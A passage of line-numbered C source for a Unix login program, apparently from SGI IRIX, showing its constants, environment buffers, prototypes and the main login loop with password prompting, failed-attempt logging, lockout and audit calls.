| 123 | time_t ll_time; | ||
| 124 | char ll_line[12]; /* same as in utmp */ | ||
| 125 | char ll_host[16]; /* same as in utmp */ | ||
| 126 | ulong ll_level; /* MAC security level */ | ||
| 127 | }; | ||
| 128 | |||
| 129 | /* | ||
| 130 | * The following defines are macros used throughout login. | ||
| 131 | */ | ||
| 132 | |||
| 133 | #define SCPYN(a, b) (void) strncpy((a), (b), (sizeof((a))-1)) | ||
| 134 | #define EQN(a, b) (!strncmp((a), (b), strlen(a))) | ||
| 135 | #define ENVSTRNCAT(to, from) {size_t deflen; deflen = strlen(to);\ | ||
| 136 | (void) strncpy((to) + deflen, (from),\ | ||
| 137 | sizeof(to) - (1 + deflen));} | ||
| 138 | /* | ||
| 139 | * The following defines are for different files. | ||
| 140 | */ | ||
| 141 | |||
| 142 | #define SHELL _PATH_BSHELL | ||
| 143 | #define SHELL2 "/sbin/sh" | ||
| 144 | #define LASTLOG _PATH_LASTLOG | ||
| 145 | #define LOGINLOG _PATH_LOGINLOG | ||
| 146 | #define DIAL_FILE _PATH_DIALUPS | ||
| 147 | #define DPASS_FILE _PATH_DIALPASS | ||
| 148 | #define BADLOGDIR "/var/adm/badlogin" /* used by update_count() */ | ||
| 149 | #ifdef EXECSH | ||
| 150 | #define SUBLOGIN "<!sublogin>" | ||
| 151 | |||
| 152 | #define NMAX 32 | ||
| 153 | #endif /* EXECSH */ | ||
| 154 | |||
| 155 | /* | ||
| 156 | * The following defines are for MAXIMUM values. | ||
| 157 | */ | ||
| 158 | |||
| 159 | #define MAXENV 1024 | ||
| 160 | #define MAXLINE 256 | ||
| 161 | #define MAXTIME 60 /* default */ | ||
| 162 | #define MAXTRYS 3 /* default */ | ||
| 163 | #define MAXARGS 63 | ||
| 164 | #define MAX_TIMEOUT (15 * 60) | ||
| 165 | #define MAX_FAILURES 20 /* MAX value LOGFAILURES */ | ||
| 166 | |||
| 167 | /* | ||
| 168 | * The following defines are for DEFAULT values. | ||
| 169 | */ | ||
| 170 | |||
| 171 | #define DEF_TZ "PST8PDT" | ||
| 172 | #define DEF_HZ "100" | ||
| 173 | #define DEFUMASK 077 | ||
| 174 | #define DEF_PATH _PATH_USERPATH | ||
| 175 | #define DEF_SUPATH _PATH_ROOTPATH | ||
| 176 | #define DEF_TIMEOUT 60 | ||
| 177 | #define DEF_LANG "C" | ||
| 178 | |||
| 179 | /* | ||
| 180 | * The following defines don't fit into the MAXIMUM or DEFAULT | ||
| 181 | * categories listed above. | ||
| 182 | */ | ||
| 183 | |||
| 184 | #define PBUFSIZE PASS_MAX /* max significant chars in a password */ | ||
| 185 | #define SLEEPTIME 1 /* sleeptime before login incorrect msg */ | ||
| 186 | #define LNAME_SIZE 32 /* size of logname */ | ||
| 187 | #define TTYN_SIZE 15 /* size of logged tty name */ | ||
| 188 | #define TIME_SIZE 30 /* size of logged time string */ | ||
| 189 | #define L_WAITTIME 5 /* waittime for log file to unlock */ | ||
| 190 | #define DISABLETIME 20 /* seconds login disabled after LOGFAILURES or | ||
| 191 | MAXTRYS unsuccesful attempts. */ | ||
| 192 | #define LOGFAILURES 3 /* default */ | ||
| 193 | |||
| 194 | #define ENT_SIZE (LNAME_SIZE + TTYN_SIZE + TIME_SIZE + 3) | ||
| 195 | #define NAME_DELIM 32 /* LOCKOUTEXEMPT name delimiter */ | ||
| 196 | |||
| 197 | #define MAC_SESSION 0 | ||
| 198 | #define MAC_CLEARANCE 1 | ||
| 199 | |||
| 200 | /* XXX from libcmd */ | ||
| 201 | extern FILE *defopen(char *); | ||
| 202 | extern char *defread(FILE *, char *); | ||
| 203 | extern char *sttyname(struct stat *); | ||
| 204 | |||
| 205 | /* XXX from libc */ | ||
| 206 | extern int __ruserok_x(char *, int, char *, char *, uid_t, char *); | ||
| 207 | |||
| 208 | #ifdef DCE | ||
| 209 | int dce_verify(char *user, uid_t uid, gid_t gid, char *passwd, char **msg); | ||
| 210 | #endif /* DCE */ | ||
| 211 | |||
| 212 | static char u_name[LNAME_SIZE], | ||
| 213 | term[5+64] = {""}, /* "TERM=" */ | ||
| 214 | hertz[10] = { "HZ=" }, | ||
| 215 | timez[100] = { "TZ=" }, | ||
| 216 | #ifdef EXECSH | ||
| 217 | minusnam[16] = {"-"}, | ||
| 218 | #endif /* EXECSH */ | ||
| 219 | env_remotehost[257+12] = { "REMOTEHOST=" }, | ||
| 220 | env_remotename[12+NMAX] = { "REMOTEUSER=" }, | ||
| 221 | user[LNAME_SIZE+6] = { "USER=" }, | ||
| 222 | path[1024] = { "PATH=" }, | ||
| 223 | home[1024] = { "HOME=" }, | ||
| 224 | shell[1024] = { "SHELL=" }, | ||
| 225 | logname[LNAME_SIZE + 8] = {"LOGNAME="}, | ||
| 226 | #ifndef NO_MAIL | ||
| 227 | mail[LNAME_SIZE + 15] = { "MAIL=" }, | ||
| 228 | #endif | ||
| 229 | lang[NL_LANGMAX + 8] = { "LANG=" }, | ||
| 230 | *incorrectmsg = "Login incorrect\n", | ||
| 231 | *incorrectmsgid = ":309", | ||
| 232 | *envinit[10 + MAXARGS] = {home, path, logname, hertz, timez, term, user, lang, 0, 0}; | ||
| 233 | |||
| 234 | static char zero[] = { "" }; | ||
| 235 | |||
| 236 | static char *ttyn = zero, | ||
| 237 | *rttyn = zero, | ||
| 238 | *Def_tz = zero, | ||
| 239 | *Console = zero, | ||
| 240 | *Passreq = zero, | ||
| 241 | *Altshell = zero, | ||
| 242 | *Mandpass = zero, | ||
| 243 | *Initgroups = zero, | ||
| 244 | *SVR4_Signals = zero, | ||
| 245 | *Def_path = zero, | ||
| 246 | *Def_term = zero, | ||
| 247 | *Def_hertz = zero, | ||
| 248 | *Def_syslog = zero, | ||
| 249 | #ifdef AUX_SECURITY | ||
| 250 | *Def_sitepath = zero, | ||
| 251 | #endif | ||
| 252 | *Def_lang = zero, | ||
| 253 | *Def_supath = zero, | ||
| 254 | *Def_notlockout = zero; | ||
| 255 | |||
| 256 | |||
| 257 | static unsigned Def_timeout = DEF_TIMEOUT; | ||
| 258 | |||
| 259 | static mode_t Umask = DEFUMASK; | ||
| 260 | |||
| 261 | static long Def_maxtrys = MAXTRYS, | ||
| 262 | Def_slptime = SLEEPTIME, | ||
| 263 | Def_distime = DISABLETIME, | ||
| 264 | Def_failures = LOGFAILURES, | ||
| 265 | Mac_Remote = MAC_SESSION, | ||
| 266 | Lockout = 0; | ||
| 267 | |||
| 268 | static int pflag = 0, /* bsd: don't destroy the environ */ | ||
| 269 | #ifdef EXECSH | ||
| 270 | rflag = 0, | ||
| 271 | rflag_set = 0, | ||
| 272 | #endif /* EXECSH */ | ||
| 273 | pwflag = 0, /* svr4: prompt for new password */ | ||
| 274 | hflag = 0, | ||
| 275 | intrupt = 0, | ||
| 276 | Idleweeks = -1; | ||
| 277 | |||
| 278 | static void donothing(void); | ||
| 279 | static int set_uthost(char *, int); | ||
| 280 | static void getstr(char *, int, char *); | ||
| 281 | static int dialpass(char *shellp, uid_t priv_uid); | ||
| 282 | static int gpass(char *prmt, char *pswd, uid_t priv_uid); | ||
| 283 | static char ** chk_args(char **pp); | ||
| 284 | static char ** getargs(char *inline); | ||
| 285 | static char ** getargs2(char *inline); | ||
| 286 | static int quotec(void); | ||
| 287 | static char * quotec2(char *s, int *cp); | ||
| 288 | static int legalenvvar(char *s); | ||
| 289 | static void badlogin(int trys, char **log_entry); | ||
| 290 | static char *mygetpass(char *prompt); | ||
| 291 | static char * fgetpass(FILE *fi, FILE *fo, char *prompt); | ||
| 292 | static void catch(void); | ||
| 293 | static void uppercaseterm(char *strp); | ||
| 294 | static char * findttyname(int fd); | ||
| 295 | static void init_defaults(void); | ||
| 296 | static int exec_pass(char *usernam); | ||
| 297 | static int doremotelogin(char *host); | ||
| 298 | static int doremoteterm(char *term); | ||
| 299 | static int get_options(int argc, char **argv); | ||
| 300 | static void usage(void); | ||
| 301 | static int do_lastlog(struct utmpx *utmp); | ||
| 302 | static void setup_environ(char **envp, char **renvp, char *dirp, char **shellp); | ||
| 303 | static void pr_msgs(int lastlog_msg); | ||
| 304 | static void update_utmp(struct utmpx *utmp); | ||
| 305 | static void verify_pwd(int nopass, uid_t priv_uid); | ||
| 306 | static int init_badtry(char **log_entry); | ||
| 307 | static void logbadtry(int trys, char **log_entry); | ||
| 308 | static int on_console(uid_t priv_uid); | ||
| 309 | static int read_pass(uid_t priv_uid, int *nopass); | ||
| 310 | static long get_logoffval(void); | ||
| 311 | static int at_shell_level(void); | ||
| 312 | static void failure_log(void); | ||
| 313 | static int set_uthost(char *ut_hostp, int uthlen); | ||
| 314 | static unsigned char dositecheck(void); | ||
| 315 | static char * getsenv(char *varname, char **envp); | ||
| 316 | static void count_badlogins(int outcome, char *username); | ||
| 317 | static int update_count(int outcome, char *user); | ||
| 318 | static void early_advice(int rflag, int hflag); | ||
| 319 | static int cap_user_cleared(const char *, const cap_t); | ||
| 320 | |||
| 321 | static uinfo_t uinfo; | ||
| 322 | |||
| 323 | static uid_t ia_uid; | ||
| 324 | static gid_t ia_gid; | ||
| 325 | static char *ia_pwdpgm; | ||
| 326 | |||
| 327 | static struct lastlog ll; | ||
| 328 | static int syslog_fail; | ||
| 329 | static int syslog_success; | ||
| 330 | |||
| 331 | static char *args[MAXARGS]; /* pointer to arguments in envbuf[] */ | ||
| 332 | static char envbuf[MAXLINE]; /* storage for argument text */ | ||
| 333 | |||
| 334 | #ifdef EXECSH | ||
| 335 | static char QUOTAWARN[] = _PATH_QUOTA; | ||
| 336 | /* usererr is more like "remote_user_must_give_pwd", -1=yes, 0=no */ | ||
| 337 | static int usererr = -1; | ||
| 338 | |||
| 339 | char **remenvp = (char **)0; | ||
| 340 | char luser[MAXLINE + 1]; | ||
| 341 | char rusername[NMAX+1], lusername[NMAX+1]; | ||
| 342 | char rpassword[NMAX+1]; | ||
| 343 | char remotehost[257]; | ||
| 344 | char terminal[64]; | ||
| 345 | |||
| 346 | extern char **environ; | ||
| 347 | #endif /* EXECSH */ | ||
| 348 | #ifdef AFS | ||
| 349 | extern int (*__afs_getsym(char *))(); | ||
| 350 | extern int __afs_iskauth(void); | ||
| 351 | int (*afs_verify)(char *, char *, long *, int); | ||
| 352 | char *(*afs_gettktstring)(void); | ||
| 353 | long afs_exp = -1; | ||
| 354 | char afs_tktfile[1024] = { "KRBTKFILE=" }; | ||
| 355 | char afs_passwdexp[22+12]; | ||
| 356 | #endif | ||
| 357 | #ifdef DCE | ||
| 358 | static int dfs_authentication = 0; | ||
| 359 | char dce_tktfile[1024] = { "KRB5CCNAME=" }; | ||
| 360 | #endif /* DCE */ | ||
| 361 | |||
| 362 | /* | ||
| 363 | * look for LANG= as argument and switch to that locale | ||
| 364 | * last LANG= wins | ||
| 365 | */ | ||
| 366 | static char * | ||
| 367 | set_lang(char **envp) | ||
| 368 | { | ||
| 369 | register char **ulp, *langp = (char *)0; | ||
| 370 | |||
| 371 | if(ulp = envp) { | ||
| 372 | for(; *ulp; ulp++) { | ||
| 373 | if( !strncmp(*ulp, "LANG=", 5)) | ||
| 374 | langp = *ulp + 5; | ||
| 375 | } | ||
| 376 | } | ||
| 377 | if(langp) | ||
| 378 | (void)setlocale(LC_ALL, langp); | ||
| 379 | return(langp); | ||
| 380 | } | ||
| 381 | |||
| 382 | /* | ||
| 383 | * Procedure: main | ||
| 384 | * | ||
| 385 | */ | ||
| 386 | int | ||
| 387 | main(int argc, char **argv, char **renvp) | ||
| 388 | { | ||
| 389 | register uid_t priv_uid; | ||
| 390 | |||
| 391 | register int | ||
| 392 | trys = 0, /* value for login attempts */ | ||
| 393 | lastlogok, | ||
| 394 | writelog = 0, | ||
| 395 | firstime = 1, | ||
| 396 | uinfo_open = 0; | ||
| 397 | |||
| 398 | static struct utmpx utmp; /* static zeros the struct */ | ||
| 399 | |||
| 400 | char **envp, | ||
| 401 | *ia_dirp, | ||
| 402 | *pdir = NULL, | ||
| 403 | *ia_shellp, | ||
| 404 | *pshell = NULL, | ||
| 405 | *ttyprompt = NULL, | ||
| 406 | *pwdmsgid = ":308", | ||
| 407 | *pwdmsg = "Password:", | ||
| 408 | inputline[MAXLINE], | ||
| 409 | *log_entry[MAX_FAILURES], | ||
| 410 | *loginmsg = "login: ", | ||
| 411 | *loginmsgid = ":307"; | ||
| 412 | |||
| 413 | long ia_expire, | ||
| 414 | log_attempts = 0; | ||
| 415 | int log_trys = 0, /* value for writing to logfile */ | ||
| 416 | nopassword = 1; | ||
| 417 | |||
| 418 | struct spwd noupass = { "", "no:password" }; | ||
| 419 | |||
| 420 | cap_t u_cap = (cap_t) NULL, ocap; | ||
| 421 | mac_t u_mac = (mac_t) NULL; | ||
| 422 | cap_value_t capv; | ||
| 423 | |||
| 424 | #ifdef EXECSH | ||
| 425 | char *endptr; | ||
| 426 | int i; | ||
| 427 | #endif /* EXECSH */ | ||
| 428 | |||
| 429 | if (cap_envl(0, CAP_AUDIT_CONTROL, CAP_AUDIT_WRITE, CAP_CHROOT, | ||
| 430 | CAP_DAC_WRITE, CAP_FOWNER, CAP_MAC_DOWNGRADE, | ||
| 431 | CAP_MAC_RELABEL_SUBJ, CAP_MAC_UPGRADE, CAP_MAC_WRITE, | ||
| 432 | CAP_PRIV_PORT, CAP_SETGID, CAP_SETUID, CAP_SETPCAP, | ||
| 433 | (cap_value_t) 0) == -1) { | ||
| 434 | fprintf(stderr, "insufficient privilege\n"); | ||
| 435 | exit(1); | ||
| 436 | } | ||
| 437 | |||
| 438 | /* | ||
| 439 | * ignore the quit and interrupt signals early so | ||
| 440 | * no strange interrupts can occur. | ||
| 441 | */ | ||
| 442 | (void) signal(SIGQUIT, SIG_IGN); | ||
| 443 | (void) signal(SIGINT, SIG_IGN); | ||
| 444 | |||
| 445 | (void) setlocale(LC_ALL, ""); | ||
| 446 | (void) setcat("uxcore"); | ||
| 447 | (void) setlabel("UX:login"); | ||
| 448 | |||
| 449 | tzset(); | ||
| 450 | |||
| 451 | errno = 0; | ||
| 452 | u_name[0] = utmp.ut_user[0] = '\0'; | ||
| 453 | terminal[0] = '\0'; | ||
| 454 | |||
| 455 | |||
| 456 | /* | ||
| 457 | * Determine if this command was called by the user from | ||
| 458 | * shell level. If so, issue a diagnostic and exit. | ||
| 459 | */ | ||
| 460 | if (at_shell_level()) { | ||
| 461 | pfmt(stderr, MM_ERROR, ":666:cannot execute login at shell level.\n"); | ||
| 462 | exit(1); | ||
| 463 | } | ||
| 464 | |||
| 465 | /* indicate an ID-based privilege mechanism, ID 0 == root */ | ||
| 466 | priv_uid = 0; | ||
| 467 | |||
| 468 | init_defaults(); | ||
| 469 | |||
| 470 | #ifdef AFS | ||
| 471 | afs_verify = (int (*)())__afs_getsym("afs_verify"); | ||
| 472 | afs_gettktstring = (char *(*)()) __afs_getsym("afs_gettktstring"); | ||
| 473 | if (afs_verify == NULL || afs_gettktstring == NULL) | ||
| 474 | afs_verify = NULL; | ||
| 475 | #endif | ||
| 476 | #ifndef sgi | ||
| 477 | /* don't set alarm here - some operations -like if yp is down | ||
| 478 | * can take a long time and shouldn't constitute the user | ||
| 479 | * not doing anything. Instead, we activate the alarm around | ||
| 480 | * the various places user's are asked for input | ||
| 481 | */ | ||
| 482 | /* | ||
| 483 | * Set the alarm to timeout in Def_timeout seconds if | ||
| 484 | * the user doesn't respond. Also, set process priority. | ||
| 485 | */ | ||
| 486 | (void) alarm(Def_timeout); | ||
| 487 | #endif | ||
| 488 | (void) nice(0); | ||
| 489 | |||
| 490 | if (get_options(argc, argv) == -1) { | ||
| 491 | usage(); | ||
| 492 | exit(1); | ||
| 493 | } | ||
| 494 | |||
| 495 | /* | ||
| 496 | * if devicename is not passed as argument, call findttyname(0) | ||
| 497 | * and findttyname(0) | ||
| 498 | */ | ||
| 499 | if (ttyn == NULL || *ttyn == NULL) { | ||
| 500 | ttyn = findttyname(0); | ||
| 501 | if (ttyn == NULL) | ||
| 502 | ttyn = "/dev/???"; | ||
| 503 | #ifdef sgi | ||
| 504 | /* what? think you'll get a different answer next time?? */ | ||
| 505 | rttyn = ttyn; | ||
| 506 | #else | ||
| 507 | rttyn = findttyname(0); | ||
| 508 | if (rttyn == NULL) | ||
| 509 | rttyn = "/dev/???"; | ||
| 510 | #endif | ||
| 511 | } | ||
| 512 | else | ||
| 513 | rttyn = ttyn; | ||
| 514 | |||
| 515 | writelog = init_badtry(log_entry); | ||
| 516 | |||
| 517 | #ifdef EXECSH | ||
| 518 | if (rflag) { | ||
| 519 | /* | ||
| 520 | * next stdin string is the remote username; initialize | ||
| 521 | * `rusername', `luser' (needed by set_uthost), and | ||
| 522 | * set up utmp.ut_host before calling doremotelogin() | ||
| 523 | */ | ||
| 524 | #ifdef sgi | ||
| 525 | (void) alarm(Def_timeout); | ||
| 526 | #endif | ||
| 527 | getstr(rusername, sizeof(rusername)-1, "remuser"); | ||
| 528 | getstr(luser, sizeof(luser)-1, "locuser"); | ||
| 529 | #ifdef sgi | ||
| 530 | (void) alarm(0); | ||
| 531 | #endif | ||
| 532 | set_uthost(&(utmp.ut_host[0]), sizeof(utmp.ut_host)-1); | ||
| 533 | usererr = doremotelogin(remotehost); | ||
| 534 | if (0 != doremoteterm(terminal)) { | ||
| 535 | syslog(LOG_ERR|LOG_AUTH, "ioctl(TCSETA) on %s failed - bad baud rate?", | ||
| 536 | ttyn); | ||
| 537 | pfmt(stderr, MM_ERROR, "uxue:57:ioctl() failed: %s\n","TCSETA"); | ||
| 538 | exit(1); | ||
| 539 | |||
| 540 | } | ||
| 541 | } | ||
| 542 | else if (hflag) { | ||
| 543 | strcpy(rusername, "UNKNOWN"); | ||
| 544 | set_uthost(&(utmp.ut_host[0]), sizeof(utmp.ut_host)-1); | ||
| 545 | } | ||
| 546 | |||
| 547 | early_advice(rflag, hflag); | ||
| 548 | #endif /* EXECSH */ | ||
| 549 | |||
| 550 | /* | ||
| 551 | * determine the number of login attempts to allow. | ||
| 552 | * A value of 0 is infinite. | ||
| 553 | */ | ||
| 554 | log_attempts = get_logoffval(); | ||
| 555 | |||
| 556 | /* | ||
| 557 | * get the prompt set by ttymon | ||
| 558 | */ | ||
| 559 | ttyprompt = getenv("TTYPROMPT"); | ||
| 560 | if ((ttyprompt != NULL) && (*ttyprompt != '\0')) { | ||
| 561 | #ifdef sgi | ||
| 562 | (void) alarm(Def_timeout); | ||
| 563 | #endif | ||
| 564 | /* | ||
| 565 | * if ttyprompt is set, there should be data on | ||
| 566 | * the stream already. | ||
| 567 | */ | ||
| 568 | if ((envp = getargs(inputline)) != (char**)NULL) { | ||
| 569 | uppercaseterm(*envp); | ||
| 570 | /* call chk_args to process options */ | ||
| 571 | |||
| 572 | envp = chk_args(envp); | ||
| 573 | if (*envp != (char *) NULL) { | ||
| 574 | SCPYN(utmp.ut_user, *envp); | ||
| 575 | SCPYN(u_name, *envp++); | ||
| 576 | } | ||
| 577 | } | ||
| 578 | #ifdef sgi | ||
| 579 | (void) alarm(0); | ||
| 580 | #endif | ||
| 581 | } | ||
| 582 | else if (optind < argc) { | ||
| 583 | SCPYN(utmp.ut_user, argv[optind]); | ||
| 584 | SCPYN(u_name, argv[optind]); | ||
| 585 | (void) strncpy(inputline, u_name, sizeof(inputline)-5); | ||
| 586 | (void) strcat(inputline, " \n"); | ||
| 587 | envp = &argv[optind + 1]; | ||
| 588 | } | ||
| 589 | /* | ||
| 590 | * enter an infinite loop. This loop will terminate on one of | ||
| 591 | * three conditions: | ||
| 592 | * | ||
| 593 | * 1) a successful login, | ||
| 594 | * | ||
| 595 | * 2) number of failed login attempts is greater than log_attempts, | ||
| 596 | * | ||
| 597 | * 3) an error occured and the loop exits. | ||
| 598 | * | ||
| 599 | * | ||
| 600 | */ | ||
| 601 | /* LINTED */ | ||
| 602 | while (1) { | ||
| 603 | #ifdef sgi | ||
| 604 | /* in case we 'continue' from bad password.. */ | ||
| 605 | (void) alarm(0); | ||
| 606 | #endif | ||
| 607 | ia_uid = ia_gid = -1; | ||
| 608 | /* | ||
| 609 | * free the storage for the master file | ||
| 610 | * information if it was previously allocated. | ||
| 611 | */ | ||
| 612 | if (uinfo_open) { | ||
| 613 | uinfo_open = 0; | ||
| 614 | ia_closeinfo(uinfo); | ||
| 615 | } | ||
| 616 | if ((pshell != NULL) && (*pshell != '\0')) { | ||
| 617 | free(pshell); | ||
| 618 | pshell = NULL; | ||
| 619 | } | ||
| 620 | if (pdir != NULL) { | ||
| 621 | free(pdir); | ||
| 622 | pdir = NULL; | ||
| 623 | } | ||
| 624 | |||
| 625 | /* If logging is turned on and there is an unsuccessful | ||
| 626 | * login attempt, put it in the string storage area | ||
| 627 | */ | ||
| 628 | |||
| 629 | if (writelog && (Def_failures > 0)) { | ||
| 630 | logbadtry(log_trys, log_entry); | ||
| 631 | |||
| 632 | if (log_trys == Def_failures) { | ||
| 633 | /* | ||
| 634 | * write "log_trys" number of records out | ||
| 635 | * to the log file and reset log_trys to 1. | ||
| 636 | */ | ||
| 637 | badlogin(log_trys, log_entry); | ||
| 638 | log_trys = 1; | ||
| 639 | } | ||
| 640 | else { | ||
| 641 | ++log_trys; | ||
| 642 | } | ||
| 643 | } | ||
| 644 | /* | ||
| 645 | * On unsuccessfull login, update user's system-wide | ||
| 646 | * bad login count and lock out user if count = Lockout. | ||
| 647 | */ | ||
| 648 | if (Lockout > 0 && trys) | ||
| 649 | count_badlogins(0, u_name); | ||
| 650 | |||
| 651 | /* | ||
| 652 | * don't do this the first time through. Do it EVERY | ||
| 653 | * time after that, though. | ||
| 654 | */ | ||
| 655 | if (!firstime) { | ||
| 656 | u_name[0] = utmp.ut_user[0] = '\0'; | ||
| 657 | } | ||
| 658 | |||
| 659 | (void) fflush(stdout); | ||
| 660 | /* | ||
| 661 | * one of the loop terminators. If either of these | ||
| 662 | * conditions exists, exit when "trys" is greater | ||
| 663 | * than log_attempts and Def_maxtrys isn't 0. | ||
| 664 | */ | ||
| 665 | if (log_attempts && Def_maxtrys) { | ||
| 666 | if (++trys > log_attempts) { | ||
| 667 | /* | ||
| 668 | * If logging is turned on, output the string | ||
| 669 | * storage area to the log file, and sleep for | ||
| 670 | * DISABLETIME seconds before exiting. | ||
| 671 | */ | ||
| 672 | if (log_trys) { | ||
| 673 | badlogin(log_trys, log_entry); | ||
| 674 | } | ||
| 675 | alarm(0); | ||
| 676 | capv = CAP_AUDIT_WRITE; | ||
| 677 | ocap = cap_acquire (1, &capv); | ||
| 678 | ia_audit("LOGIN", "nobody", 0, | ||
| 679 | "Too many unsuccessful login attempts"); | ||
| 680 | cap_surrender(ocap); | ||
| 681 | (void) sleep((unsigned)Def_distime); | ||
| 682 | exit(1); | ||
| 683 | } | ||
| 684 | } | ||
| 685 | /* | ||
| 686 | * keep prompting until the user enters something | ||
| 687 | */ | ||
| 688 | while (utmp.ut_user[0] == '\0') { | ||
| 689 | if (rflag && firstime) { | ||
| 690 | firstime = 0; | ||
| 691 | SCPYN(utmp.ut_user, lusername); | ||
| 692 | SCPYN(u_name, lusername); | ||
| 693 | envp = remenvp; | ||
| 694 | } else { | ||
| 695 | /* | ||
| 696 | * if TTYPROMPT is not set, print out our own | ||
| 697 | * prompt | ||
| 698 | * otherwise, print out ttyprompt | ||
| 699 | */ | ||
| 700 | if ((ttyprompt == NULL) || (*ttyprompt == '\0')) | ||
| 701 | pfmt(stdout, MM_NOSTD|MM_NOGET, | ||
| 702 | gettxt(loginmsgid, loginmsg)); | ||
| 703 | else | ||
| 704 | (void) fputs(ttyprompt, stdout); | ||
| 705 | (void) fflush(stdout); | ||
| 706 | #ifdef sgi | ||
| 707 | (void) alarm(Def_timeout); | ||
| 708 | #endif | ||
| 709 | if ((envp = getargs(inputline)) != (char**)NULL) { | ||
| 710 | envp = chk_args(envp); | ||
| 711 | if (*envp != (char *) NULL) { | ||
| 712 | SCPYN(utmp.ut_user, *envp); | ||
| 713 | SCPYN(u_name, *envp++); | ||
| 714 | } | ||
| 715 | } | ||
| 716 | #ifdef sgi | ||
| 717 | (void) alarm(0); | ||
| 718 | #endif | ||
| 719 | } | ||
| 720 | } | ||
| 721 | (void)set_lang(envp); | ||
| 722 | |||
| 723 | firstime = 0; | ||
| 724 | /* | ||
| 725 | * If any of the common login messages was the input, we must be | ||
| 726 | * looking at a tty that is running login. We exit because | ||
| 727 | * they will chat at each other until one times out. | ||
| 728 | */ | ||
| 729 | if (EQN(loginmsg, inputline) || EQN(pwdmsg, inputline) || | ||
| 730 | EQN(incorrectmsg, inputline)) { | ||
| 731 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 732 | ia_audit("LOGIN", u_name, 0, | ||
| 733 | "Looking at a login line."); | ||
| 734 | cap_surrender(ocap); | ||
| 735 | pfmt(stderr, MM_ERROR, ":311:Looking at a login line.\n"); | ||
| 736 | exit(8); | ||
| 737 | } | ||
| 738 | |||
| 739 | if (ia_openinfo(u_name, &uinfo) || (uinfo == NULL)) { | ||
| 740 | #ifdef sgi | ||
| 741 | (void) alarm(Def_timeout); | ||
| 742 | #endif | ||
| 743 | (void) gpass(gettxt(pwdmsgid, pwdmsg), noupass.sp_pwdp, | ||
| 744 | priv_uid); | ||
| 745 | (void) dialpass("/sbin/sh", priv_uid); | ||
| 746 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 747 | ia_audit("LOGIN", u_name, 0, "Invalid user name"); | ||
| 748 | cap_surrender(ocap); | ||
| 749 | (void) sleep ((unsigned)Def_slptime); | ||
| 750 | pfmt(stderr, MM_ERROR|MM_NOGET, gettxt(incorrectmsgid, | ||
| 751 | incorrectmsg)); | ||
| 752 | failure_log(); | ||
| 753 | continue; | ||
| 754 | } | ||
| 755 | /* | ||
| 756 | * set ``uinfo_open'' to 1 to indicate that the information | ||
| 757 | * from the master file needs to be freed if we go back to | ||
| 758 | * the top of the loop. | ||
| 759 | */ | ||
| 760 | uinfo_open = 1; | ||
| 761 | |||
| 762 | /* | ||
| 763 | * get uid and gid info early for AUDIT | ||
| 764 | */ | ||
| 765 | ia_get_uid(uinfo, &ia_uid); | ||
| 766 | ia_get_gid(uinfo, &ia_gid); | ||
| 767 | ia_get_pwdpgm(uinfo, &ia_pwdpgm); | ||
| 768 | ia_get_dir(uinfo, &ia_dirp); | ||
| 769 | pdir = strdup(ia_dirp); | ||
| 770 | ia_get_sh(uinfo, &ia_shellp); | ||
| 771 | pshell = strdup(ia_shellp); | ||
| 772 | |||
| 773 | #ifdef AUX_SECURITY | ||
| 774 | |||
| 775 | /* | ||
| 776 | * Enable auxilary security, allowing system administrators to specify | ||
| 777 | * actions for login to take before asking for passwords. This is done | ||
| 778 | * via a switch statement and two labels. ``accept'' is where to go | ||
| 779 | * when the user is to be allowed in. ``scont'' is where to go if | ||
| 780 | * the sitecheck program fails for some reason and you still want to | ||
| 781 | * allow the user the chance to log in. If you want to reprompt, | ||
| 782 | * you should just break out of the loop, since it is immediately | ||
| 783 | * followed by a continue. This will increment the number of tries, etc. | ||
| 784 | */ | ||
| 785 | |||
| 786 | #ifdef EXECSH | ||
| 787 | if (usererr == -1) | ||
| 788 | #endif /* EXECSH */ | ||
| 789 | if (Def_sitepath && *Def_sitepath) { | ||
| 790 | switch (dositecheck()) { | ||
| 791 | case SITE_OK: | ||
| 792 | capv = CAP_AUDIT_WRITE; | ||
| 793 | ocap = cap_acquire (1, &capv); | ||
| 794 | ia_audit("LOGIN", u_name, 1, | ||
| 795 | "external authentication succeeded"); | ||
| 796 | cap_surrender(ocap); | ||
| 797 | #ifdef sgi | ||
| 798 | (void) alarm(Def_timeout); | ||
| 799 | #endif | ||
| 800 | goto accept; | ||
| 801 | case SITE_FAIL: | ||
| 802 | capv = CAP_AUDIT_WRITE; | ||
| 803 | ocap = cap_acquire (1, &capv); | ||
| 804 | ia_audit("LOGIN", u_name, 0, | ||
| 805 | "external authentication failed"); | ||
| 806 | cap_surrender(ocap); | ||
| 807 | sleep((unsigned)Def_slptime); | ||
| 808 | exit(1); | ||
| 809 | case SITE_AGAIN: | ||
| 810 | capv = CAP_AUDIT_WRITE; | ||
| 811 | ocap = cap_acquire (1, &capv); | ||
| 812 | ia_audit("LOGIN", u_name, 0, | ||
| 813 | "external authentication retry"); | ||
| 814 | cap_surrender(ocap); | ||
| 815 | sleep((unsigned)Def_slptime); | ||
| 816 | break; | ||
| 817 | case SITE_CONTINUE: | ||
| 818 | capv = CAP_AUDIT_WRITE; | ||
| 819 | ocap = cap_acquire (1, &capv); | ||
| 820 | ia_audit("LOGIN", u_name, 0, | ||
| 821 | "external authentication complete, also using IRIX authentication"); | ||
| 822 | cap_surrender(ocap); | ||
| 823 | goto scont; | ||
| 824 | } | ||
| 825 | continue; | ||
| 826 | } | ||
| 827 | scont: | ||
| 828 | #endif /* AUX_SECURITY */ | ||
| 829 | |||
| 830 | #ifdef sgi | ||
| 831 | (void) alarm(Def_timeout); | ||
| 832 | #endif | ||
| 833 | /* | ||
| 834 | * get the user's password. | ||
| 835 | */ | ||
| 836 | #ifdef EXECSH | ||
| 837 | if (usererr == -1) | ||
| 838 | #endif /* EXECSH */ | ||
| 839 | if (read_pass(priv_uid, &nopassword)) { | ||
| 840 | (void) dialpass(pshell, priv_uid); | ||
| 841 | (void) sleep ((unsigned)Def_slptime); | ||
| 842 | pfmt(stderr, MM_ERROR|MM_NOGET, gettxt(incorrectmsgid, | ||
| 843 | incorrectmsg)); | ||
| 844 | failure_log(); | ||
| 845 | continue; | ||
| 846 | } | ||
| 847 | |||
| 848 | /* | ||
| 849 | * get dialup password, if necessary | ||
| 850 | */ | ||
| 851 | accept: | ||
| 852 | if (dialpass(pshell, priv_uid)) { | ||
| 853 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
